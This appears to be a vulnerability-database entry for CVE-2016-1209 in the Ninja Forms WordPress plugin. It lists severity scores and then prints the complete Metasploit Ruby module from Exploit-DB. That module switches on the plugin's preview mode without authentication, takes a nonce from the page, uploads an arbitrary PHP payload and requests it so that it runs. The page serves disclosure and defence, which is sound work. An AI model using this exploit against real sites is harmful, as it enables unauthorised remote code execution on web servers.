CVE-2016-1209

critical
Published 2016-05-14 ยท Modified 2026-05-06
CVSS v3
9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via crafted serialized values in a POST request.

Predictions

Exploit likelihood
97%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41692 webapps multiple verified ruby ยท 6 KB
Metasploit ยท 2016-05-04

WordPress Plugin Ninja Forms 2.9.36 < 2.9.42 - File Upload (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Ninja Forms Unauthenticated File Upload',
      'Description'     => %(
        Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
        an unauthenticated file upload vulnerability, allowing guests
        to upload arbitrary PHP code that can be executed in the context
        of the web server.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'James Golovich',                 # Discovery and disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2016-1209'],
          ['WPVDB', '8485'],
          ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
        ],
      'DisclosureDate'  => 'May 04 2016',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ninja-forms', {}]],
      'DefaultTarget'   => 0
    ))

    opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
    register_options(opts, self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
  end

  def enable_v3_functionality
    print_status 'Enabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'upgrade' }
    )

    unless res && res.code == 200
      if res
        fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
      else
        fail_with(Failure::Unreachable, 'Connection timed out.')
      end
    end

    vprint_good 'Enabled V3 functionality'
  end

  def disable_v3_functionality
    print_status 'Disabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'rollback' }
    )

    if res && res.code == 200
      vprint_good 'Disabled V3 functionality'
    elsif !res
      print_error('Connection timed out while disabling V3 functionality')
    else
      print_error 'Failed to disable the vulnerable V3 functionality'
    end
  end

  def generate_mime_message(payload_name, nonce)
    data = Rex::MIME::Message.new
    data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
    data.add_part(nonce, nil, nil, 'form-data; name="security"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
    data
  end

  def fetch_ninja_form_nonce
    uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
    end

    form_wpnonce = res.get_hidden_inputs.first
    form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce

    nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce

    unless nonce
      fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
    end

    nonce
  end

  def upload_payload(data)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => wordpress_url_admin_ajax,
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("Server responded with status code #{res.code}") if res.code != 200
  end

  def execute_payload(payload_name, payload_url)
    register_files_for_cleanup("nftmp-#{payload_name.downcase}")
    res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)

    if !res.nil? && res.code == 404
      print_error("Failed to upload the payload")
    else
      print_good("Executed payload")
    end
  end

  def exploit
    # Vulnerable code is only available in the version 3 preview mode, which can be
    # enabled by unauthenticated users due to lack of user level validation.
    enable_v3_functionality

    # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
    # page that contains a form generated by Ninja Forms.
    nonce = fetch_ninja_form_nonce

    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
    data = generate_mime_message(payload_name, nonce)

    print_status("Uploading payload to #{payload_url}")
    upload_payload(data)

    print_status("Executing the payload...")
    execute_payload(payload_name, payload_url)

    # Once the payload has been executed, we can disable the preview functionality again.
    disable_v3_functionality
  end
end

Metasploit modules

WordPress Ninja Forms Unauthenticated File Upload
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
ninjaformsninja_forms{"endIncluding":"2.9.42"}

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.